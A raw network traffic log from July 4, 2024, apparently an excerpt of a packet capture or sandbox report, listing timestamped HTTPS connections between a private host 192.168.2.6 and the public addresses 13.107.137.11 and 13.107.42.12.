Jul 4, 2024 20:18:14.065536976 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.065541983 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.065598011 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.065663099 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.065668106 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.065742016 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.065800905 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.065805912 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.114608049 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.150607109 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.150628090 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.150696039 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.150738001 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.150743008 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.150876999 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.150959015 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.150964022 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.151180983 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.151288986 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.151293993 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.151495934 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.151591063 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.151596069 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.151750088 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.151837111 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.151842117 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.152468920 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.152537107 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.152542114 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.152641058 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.152724981 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.152730942 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.153436899 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.153527021 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.153532982 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.153640985 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.153723955 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.153729916 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154376030 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154452085 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.154457092 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154578924 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154658079 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.154664040 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154719114 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154798985 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.154799938 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154843092 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.154895067 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.154972076 CEST	443	49852	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.155039072 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.155144930 CEST	49852	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.170999050 CEST	49853	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:14.171076059 CEST	443	49853	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:14.171149969 CEST	49853	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:14.171485901 CEST	49853	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:14.171509027 CEST	443	49853	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:14.747212887 CEST	443	49853	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:14.751853943 CEST	49853	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:14.751908064 CEST	443	49853	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:14.878283978 CEST	443	49853	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:14.878496885 CEST	443	49853	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:14.878614902 CEST	49853	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:14.879173994 CEST	49853	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:14.883900881 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.883960009 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:14.884251118 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.887537956 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:14.887568951 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:15.495738029 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:15.497819901 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:15.497872114 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.286403894 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.286482096 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.286503077 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.286642075 CEST	443	49854	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.286700964 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.287847996 CEST	49854	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.289464951 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.289486885 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.289544106 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.289884090 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.289896011 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.916389942 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:16.920373917 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:16.920399904 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.087587118 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.087655067 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.088511944 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.088646889 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.088666916 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.089360952 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.089442015 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.089448929 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.089766979 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.179004908 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.179092884 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.179101944 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.180444956 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.180522919 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.180529118 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.181493998 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.181566954 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.181576014 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.182802916 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.182882071 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.182889938 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.223978996 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.270751953 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.270854950 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.270872116 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.270981073 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.271518946 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.271560907 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.271568060 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.271595955 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.272568941 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.272660971 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.272666931 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.273366928 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.273453951 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.273466110 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.274107933 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.274190903 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.274198055 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.274903059 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.274991035 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.274996996 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.275186062 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.275249958 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.275259018 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.317661047 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.635888100 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.635968924 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636004925 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636055946 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636076927 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636109114 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636117935 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636133909 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636590004 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636637926 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636646986 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636653900 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636681080 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636878014 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636934042 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636943102 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.636967897 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.636996031 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637053967 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.637063026 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637089968 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637151003 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.637156963 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637738943 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637790918 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.637799025 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637883902 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637940884 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.637948036 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.637985945 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.638051033 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.638058901 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.638973951 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639030933 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.639041901 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639096022 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639156103 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.639163971 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639250040 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639303923 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.639309883 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639467955 CEST	443	49856	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:17.639574051 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.640429974 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.656902075 CEST	49856	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:17.674593925 CEST	49857	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:17.674649000 CEST	443	49857	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:17.674724102 CEST	49857	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:17.675132036 CEST	49857	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:17.675144911 CEST	443	49857	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:18.265269041 CEST	443	49857	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:18.267493010 CEST	49857	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:18.267510891 CEST	443	49857	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:18.435698032 CEST	443	49857	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:18.435868025 CEST	443	49857	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:18.435987949 CEST	49857	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:18.437428951 CEST	49857	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:18.437911034 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:18.437939882 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:18.438101053 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:18.441426992 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:18.441440105 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:19.079952002 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:19.085438013 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:19.085478067 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.101169109 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.101249933 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.101283073 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.101399899 CEST	443	49858	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.101454973 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.102200031 CEST	49858	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.103913069 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.103959084 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.104021072 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.104334116 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.104352951 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.771394014 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.778688908 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.778733969 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.931890965 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.931956053 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.932091951 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.932111979 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.932948112 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.933036089 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.933044910 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.933059931 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.933298111 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:20.933304071 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:20.973902941 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.021832943 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.021857023 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.021933079 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.022078037 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.022083998 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.022473097 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.022538900 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.022547007 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.024257898 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.024379015 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.024386883 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.025124073 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.025208950 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.025216103 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.069434881 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.111685038 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.111706018 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.111798048 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.111807108 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.111915112 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.111958981 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.111985922 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.111991882 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.112266064 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.112301111 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.112308025 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.112315893 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.112338066 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.112626076 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.112962008 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.113003969 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.113012075 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.113032103 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.113289118 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.113426924 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.113434076 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.113765001 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.117098093 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.117140055 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.117146015 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.117168903 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.161429882 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.219284058 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.219424963 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.219433069 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.219489098 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.219588041 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.219595909 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.219624996 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.219671011 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.220136881 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.220222950 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.220230103 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.220443964 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.220567942 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.220577955 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.220606089 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.220674992 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.220979929 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221096039 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.221102953 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221328974 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221425056 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.221430063 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221446037 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221664906 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221709013 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.221716881 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221744061 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.221772909 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221883059 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221919060 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.221925020 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.221992970 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.222410917 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.222445011 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.222538948 CEST	443	49859	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:21.222676039 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.222676039 CEST	49859	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:21.233428955 CEST	49860	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:21.233462095 CEST	443	49860	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:21.237492085 CEST	49860	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:21.241437912 CEST	49860	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:21.241451025 CEST	443	49860	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:21.823326111 CEST	443	49860	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:21.825683117 CEST	49860	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:21.825717926 CEST	443	49860	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:22.120779037 CEST	443	49860	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:22.120955944 CEST	443	49860	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:22.121016979 CEST	49860	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:22.121459961 CEST	49860	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:22.123481035 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:22.123528004 CEST	443	49861	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:22.123594046 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:22.123989105 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:22.124002934 CEST	443	49861	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:23.000611067 CEST	443	49861	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:23.003374100 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.003420115 CEST	443	49861	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:23.179112911 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.179112911 CEST	49862	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:23.179172993 CEST	443	49862	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:23.179227114 CEST	443	49861	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:23.179289103 CEST	49862	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:23.179476976 CEST	443	49861	13.107.137.11	192.168.2.6
Jul 4, 2024 20:18:23.179599047 CEST	49862	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:23.179622889 CEST	443	49862	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:23.179644108 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.179730892 CEST	49861	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:18:23.760900021 CEST	443	49862	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:23.763451099 CEST	49862	443	192.168.2.6	13.107.42.12
